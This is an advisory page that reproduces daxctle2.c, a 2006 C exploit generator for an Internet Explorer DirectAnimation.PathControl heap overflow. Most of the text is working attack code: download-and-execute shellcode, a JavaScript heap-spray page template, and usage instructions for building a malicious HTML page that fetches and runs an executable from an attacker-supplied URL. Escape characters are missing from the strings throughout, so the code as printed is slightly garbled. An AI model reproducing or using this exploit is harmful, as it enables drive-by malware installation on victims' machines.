SecurityReason - [0day] daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit

Advisory Text :

/*
*-----------------------------------------------------------------------

*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec
Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*-----------------------------------------------------------------------

-
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =
"xe9xa3x00x00x00x5fx64xa1x30x00x00x00x8bx40x0cx8b"
"x70x1cxadx8bx68x08x8bxf7x6ax04x59xe8x43x00x00x00"
"xe2xf9x68x6fx6ex00x00x68x75x72x6cx6dx54xffx16x95"
"xe8x2ex00x00x00x83xecx20x8bxdcx6ax20x53xffx56x04"
"xc7x04x03x5cx61x2ex65xc7x44x03x04x78x65x00x00x33"
"xc0x50x50x53x57x50xffx56x10x8bxdcx50x53xffx56x08"
"xffx56x0cx51x56x8bx75x3cx8bx74x2ex78x03xf5x56x8b"
"x76x20x03xf5x33xc9x49x41xadx03xc5x33xdbx0fxbex10"
"x3axd6x74x08xc1xcbx0dx03xdax40xebxf1x3bx1fx75xe7"
"x5ex8bx5ex24x03xddx66x8bx0cx4bx8bx5ex1cx03xddx8b"
"x04x8bx03xc5xabx5ex59xc3xe8x58xffxffxffx8ex4ex0e"
"xecxc1x79xe5xb8x98xfex8ax0exefxcexe0x60x36x1ax2f"
"x70";

char * header =
"<html>n"
"<head>n"
"<title>XSec.org</title>n"
"</head>n"
"<body>n"
"<script>n"
"shellcode = unescape("%u4343"+"%u4343"+"%u4343" + n";

// Change this script by yourself.
char * footer =
"bigbk = unescape("%u0D0D%u0D0D");n"
"headersize = 20;n"
"slackspace = headersize + shellcode.lengthn"
"while (bigbk.length < slackspace) bigbk += bigbk;n"
"fillbk = bigbk.substring(0, slackspace);n"
"bk = bigbk.substring(0, bigbk.length-slackspace);n"
// bk = nop+nop ;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;n"
"memory = new Array();n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;n"
"var target = new ActiveXObject("DirectAnimation.PathControl");n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));n"
"</script>n"
"</body>n"
"</html>n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf(""n"");
fprintf(fp, "%s", "" +n"");
}
else
{
printf(""");
fprintf(fp, "%s", """);
}
}

printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}

printf("";n");
fprintf(fp, "%s", "");n");

fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};

int sc_len = 0;

if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec
Exploitn");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.orgn");
//printf("!!! 0Day !!! Please Keep Private!!!n");
printf("rnUsage: %s <URL> [htmlfile]rnn", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url)
< 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60
bytes.n");
printf("[-] Invalid url. Must start with 'http://','ftp://'n");
return;
}

printf("[+] download url:%sn", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%sn", file);

fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!n", file);
}